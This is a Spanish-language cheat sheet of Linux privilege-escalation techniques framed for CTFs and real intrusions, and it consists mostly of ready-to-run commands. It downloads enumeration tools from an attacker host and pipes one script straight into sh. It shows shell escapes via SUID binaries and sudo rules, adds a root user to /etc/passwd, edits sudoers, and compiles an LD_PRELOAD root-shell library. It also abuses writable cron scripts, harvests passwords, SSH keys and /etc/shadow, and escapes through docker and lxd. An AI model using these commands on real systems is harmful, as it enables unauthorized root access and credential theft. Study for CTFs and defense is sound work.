La escalada de privilegios consiste en explotar configuraciones incorrectas o vulnerabilidades para pasar de un usuario con pocos permisos (www-data, usuario normal) a root. Es una fase crítica en cualquier intrusión real o CTF.
# Descargar y ejecutar LinPEAS desde el objetivo:
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Transferir desde tu máquina atacante (servidor HTTP):
# En atacante:
python3 -m http.server 8000
# En víctima:
wget http://TU_IP:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh 2>/dev/null | tee /tmp/linpeas_output.txt
# Solo mostrar hallazgos de alta criticidad (amarillo/rojo):
/tmp/linpeas.sh -a 2>/dev/null | grep -E "\[.\+.\]|\[!\]"
# Buscar binarios con bit SUID activado:
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
# Buscar binarios SGID:
find / -perm -2000 -type f 2>/dev/null
# Ejemplos de binarios SUID peligrosos:
# /usr/bin/find — ejecutar comandos como root:
find /tmp -exec /bin/bash -p \; 2>/dev/null
# /usr/bin/vim — abrir shell:
vim -c ':!/bin/bash'
# /usr/bin/python3:
python3 -c 'import os; os.execl("/bin/bash","bash","-p")'
# /usr/bin/cp — sobrescribir /etc/passwd:
openssl passwd -1 hacked123
cp /etc/passwd /tmp/passwd.bak
echo "hacker:HASH_GENERADO:0:0:root:/root:/bin/bash" >> /etc/passwd
su hacker
# Ver qué puede ejecutar el usuario actual como sudo:
sudo -l
# Ejemplos típicos explotables:
# (ALL) NOPASSWD: /usr/bin/python3
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
# (ALL) NOPASSWD: /usr/bin/find
sudo find / -exec /bin/bash \; -quit
# (ALL) NOPASSWD: /usr/bin/less
sudo less /etc/passwd
# dentro de less: !bash
# (ALL) NOPASSWD: /usr/bin/nano o vim
sudo nano /etc/sudoers
# Añadir: tu_usuario ALL=(ALL) NOPASSWD: ALL
# sudo con variable de entorno (LD_PRELOAD):
# Si env_keep+=LD_PRELOAD en /etc/sudoers:
cat > /tmp/shell.c << 'EOF'
#include
#include
#include
void _init() {
unsetenv("LD_PRELOAD");
setgid(0); setuid(0);
system("/bin/bash");
}
EOF
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so cualquier_comando_permitido
# Listar crons del sistema:
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.weekly/
crontab -l
# Monitorizar procesos para detectar crons en ejecución:
# Instalar pspy64 en la víctima:
wget http://TU_IP:8000/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64
# Si un cron ejecuta un script escribible por nosotros:
ls -la /ruta/al/script.sh
# Si tenemos escritura:
echo 'chmod +s /bin/bash' >> /ruta/al/script.sh
# Esperar a que se ejecute el cron, luego:
/bin/bash -p
# Buscar contraseñas hardcodeadas en ficheros de configuración:
grep -r "password" /etc/ 2>/dev/null | grep -v "^Binary"
grep -r "passwd\|secret\|credential" /var/www/ 2>/dev/null
find / -name "*.conf" -o -name "*.config" -o -name "*.env" 2>/dev/null | xargs grep -l "password" 2>/dev/null
# Historial de comandos:
cat ~/.bash_history
cat ~/.zsh_history
# Ficheros interesantes en home:
find /home -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null
find /root -readable 2>/dev/null
# Base de datos SQLite con hashes:
find / -name "*.db" -o -name "*.sqlite" 2>/dev/null
# Ver puertos abiertos solo en localhost:
ss -tlnp
netstat -tlnp 2>/dev/null
# Si hay un servicio en 127.0.0.1:8080 no expuesto:
# Redirigir a nuestra máquina con SSH:
ssh -L 8080:127.0.0.1:8080 usuario@victima
# Acceder desde nuestro navegador a localhost:8080
# Ver grupos del usuario actual:
id
groups
# Grupos peligrosos y su explotación:
# docker: montar el sistema de archivos del host:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# disk: leer bloques del disco directamente:
debugfs /dev/sda1
debugfs: cat /etc/shadow
# lxd/lxc: similar a Docker:
lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test mydev disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test /bin/sh
# adm/syslog: leer logs del sistema:
cat /var/log/auth.log | grep "password"
| Vector | Comando de verificación |
|---|---|
| SUID peligrosos | find / -perm -4000 -type f 2>/dev/null |
| Sudo permisos | sudo -l |
| Crons del sistema | cat /etc/crontab |
| Procesos en tiempo real | ./pspy64 |
| Contraseñas en configs | grep -r "password" /etc/ 2>/dev/null |
| Puertos internos | ss -tlnp |
| Grupos peligrosos | id → docker, disk, lxd |
| Enumeración automática | ./linpeas.sh |